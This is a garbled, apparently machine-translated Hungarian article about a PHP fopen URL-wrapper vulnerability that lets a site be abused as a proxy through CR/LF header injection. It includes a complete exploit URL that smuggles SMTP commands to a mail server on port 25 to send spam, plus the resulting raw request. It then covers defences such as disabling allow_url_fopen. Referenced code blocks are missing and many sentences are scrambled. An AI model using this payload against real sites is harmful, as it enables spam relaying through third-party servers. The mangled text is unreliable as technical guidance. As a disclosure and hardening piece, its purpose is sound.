Potenciális sebezhetőség php-script - php
Function fopen, fájl tartalmazza, és szükség lehet megnyitni a fájlokat más oldalakon a http és ftp. Ez a funkció hordoz egy potenciális biztonsági rés a php-script, amely lehetővé teszi, hogy használja az oldalt, mint a proxy.
Figyelmeztetés semmi új ebben az anyagban nem. Annak ellenére, hogy a lenyűgöző funkciók a támadó, a biztonsági rés - kombinációja jól ismert tulajdonságai php.
Az orosz nyelvű interneten, ez a rés alig fedezte. Az orosz oldalak biztonságának problémája nem tudtam megtalálni a közvetlen jelentéseket a biztonsági rést.
Biztonsági rés: URL fopen wrapper
CR / LF HTTP-kérések
A kombináció a karakterek kocsi vissza és soremelés a HTTP-kérés fejlécében oszt. További információ a található egy cikkében Anton Kalmykov «HTTP-kérések Generation”. Ez a kombináció a karakterek, akkor küldje a GET-kérelmet „% 0D% 0A”.
Nem megbízható bemenet
Sok oldalt az oldal által generált script-sablonozó. A szkript átirányítja az összes kérés oldalon. REQUEST_URI venni a fájlnév a megnyitni kívánt. A fájl olvasható, ez hozzáadódik a sablon navigáció, sapka, stb és az eredmény ki az ügyfélnek.
Gondatlan vagy tapasztalatlan programozó írhat egyszerűen nyissa meg a fájlt ellenőrzése nélkül az adatokat:
A script végzi HTTP-kérés:
Az utolsó három sor a szkript automatikusan felkerülnek, de két rn előttük végét jelenti a kérés. Így nem biztonságos szkript lehet használni, mint a proxy szerver. Ismerve a szám a „lyukas” helyek, a támadó lehet építeni egy lánc őket, hogy ez nehezebb megtalálni.
Okos felhasználása a kiaknázása
index.php? f = http% 3A% 2F% 2Fmail.example.com% 3A25% 2F + HTTP / 1.0% 0D% 0AHELO + my.own.machine% 0D% 0AMAIL + SZÁRMAZÓ% 3A% 3Cme% 40my.own. gépi% 3E% 0D% 0ARCPT + TO% 3A% 3Cinfo% 40site1.st% 3E% 0D% 0ADATA% 0D% 0Ai + fog + soha + mondani + a + szó + késlekedik + megint% 0D% 0A.% 0D% 0AQUIT % 0D% 0A% 0D% 0A
(Kell egy sorban) PHP mail.example.com modul a szerverrel a 25-ös port és küldje el a következő kérés:
GET / HTTP / 1.0rn
HELO my.own.machinern
MAIL FROM: rn
RCPT TO: rn
DATArn
soha nem fogom azt a szót késlekedik againrn
.rn
QUITrnrn
HTTP / 1.0rn
Host: mail.site1.st:25rn
User-Agent: PHP / 4.1.2rnrn
elleni védelem hasznosítja
Ön, mint a fejlesztő vagy a webhely tulajdonosa, fontos, hogy minden lehetséges átjutni a webhely senki nem volt képes küldeni spam. Ha ez megtörténik, akkor meg kell küldeni minden dial-up Hawaii, amelyek tulajdonosai nem értik az emberi nyelv és a határidő tudja csinálni az Ön számára.
Ellenőrizze lekérdezés log
beállítása php
A legegyszerűbb módja annak, hogy tiltsa le a lehetséges biztonsági rés - megtiltják nyitott URL elküldése fájl funkciókat. Ha Ön rendszergazda a szerver - Tilt allow_url_fopen php beállításokat. Ha csak egy ügyfél - csökken a helyben. A .htaccess fájlt a root az oldalon írjon egy sort: php_value allow_url_fopen 0 Ha egy gonosz web hosting szolgáltató, akkor tiltsa le az URL fopen wrapper minden használó ügyfelek php_admin_value irányelvet. Csökkentett mód bekapcsolásához (safe mode) ebben az esetben nem segít, akkor a funkció továbbra is működik megfelelően.
változás kód
Megszüntetéséről kérésre offensivnom
Ügyfél keresnie a webhelyén ellenőrizhetetlen változók létrehoz extra forgalom és betölti a szerver CPU. Egyértelmű, hogy nem kell az oldalakat, hogy létrehoz a helyén, ha nem jár a proxy. Kívánatos, hogy megöli ilyen kérelmet kezdete előtt php-tolmács. Ez megtehető a mod_rewrite modul. A .htaccess fájlt a gyökere a helyén, tettem egy ilyen sort:
Azt feltételezik, hogy a helyszínen nem lesz elküldve a GET metódus segítségével alkot többsoros felhasználótól. Ellenkező esetben, akkor le kell állítani ezt a szabályt.